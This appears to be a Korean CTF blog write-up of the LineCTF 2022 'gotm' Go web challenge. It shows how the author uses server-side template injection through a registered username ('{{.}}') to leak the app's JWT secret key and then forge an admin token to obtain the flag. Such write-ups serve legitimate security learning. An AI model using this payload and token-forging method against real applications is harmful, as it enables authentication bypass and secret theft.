LineCTF 2022 - gotm
글 작성자: heogi
- Description
Go로 작성된 웹이다.
- Source code
......
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}
......
var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
......
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
......
페이지는 4개의 페이지로 구성되어있다.
- regist : 등록
- auth : 인증
- flag : 플래그 출력
- / : 로그인 계정 확인
regist 페이지에서 id를 등록하고 auth 페이지에서 인증을 진행하면 token 값을 반환한다.
http://34.146.226.125/regist?id=heogi&pw=123
//response : {"status":true,"msg":""}
http://34.146.226.125/auth?id=heogi&pw=123
//response : {"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imhlb2dpIiwiaXNfYWRtaW4iOmZhbHNlfQ.XnV9-V7ucNruWifi21aUpSxxmnzpXprlMnFucmaX1cE"}
인증은 JWT를 사용하고있어서 JWT를 decode 해보면 is_admin이 false로 설정되어있다.
flag 페이지에서 is_admin이 true인 경우에 flag를 출력해주고있다.
is_admin을 true로 변경하는것이 목표라 할 수 있겠다.
- Solve
root 페이지의 SSTI 취약점을 이용해 문제를 풀 수 있다.
(처음엔 소스코드에서 사용중인 jwt-go의 github에서 취약점을 찾아보았다ㅠ)
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id) // SSTI 취약
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
go의 template을 통해 Login한 ID를 출력해주고 있다.
go의 SSTI로 검색을 해보면 아래와 같은 페이로드를 확인 할 수 있다.
{{.}}
참고 : http://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
해당 페이로드를 regist 페이지에서 id로 입력하여 SSTI를 트리거 할 수 있다.
http://34.146.226.125/regist?id={{.}}&pw=123
//response : {"status":true,"msg":""}
http://34.146.226.125/auth?id={{.}}&pw=123
// response : {"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.rthp4OaE1Iau8Q9PIxoB-F9VGukYpbX1I-GpPPDSGhM"}
http://34.146.226.125/ (with X-Token header)
// response : Logged in as {{{.}} 123 false fasdf972u1031xu90zm10Av}
root 페이지에서 반환된 구조는 Account 구조이다.
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
secret_key 값을 leak 하였으니 이제 JWT 토큰을 마음대로 생성할 수 있다.
is_admin을 true로 만들어서 secretu_key를 이용해 JWT 토큰을 생성하여 flag 페이지에 인증을 하면
flag 값을 획득 할 수 있다.
'🛡️CTF > LineCTF' 카테고리의 다른 글
LineCTF(2023) - Adult Simple GoCurl (0) | 2023.08.13 |
---|---|
LineCTF(2023) - Baby Simple GoCurl (0) | 2023.08.13 |
LineCTF 2022 - memo drive (0) | 2022.04.13 |
댓글
이 글 공유하기
다른 글
-
LineCTF(2023) - Adult Simple GoCurl
LineCTF(2023) - Adult Simple GoCurl
2023.08.13 -
LineCTF(2023) - Baby Simple GoCurl
LineCTF(2023) - Baby Simple GoCurl
2023.08.13 -
LineCTF 2022 - memo drive
LineCTF 2022 - memo drive
2022.04.13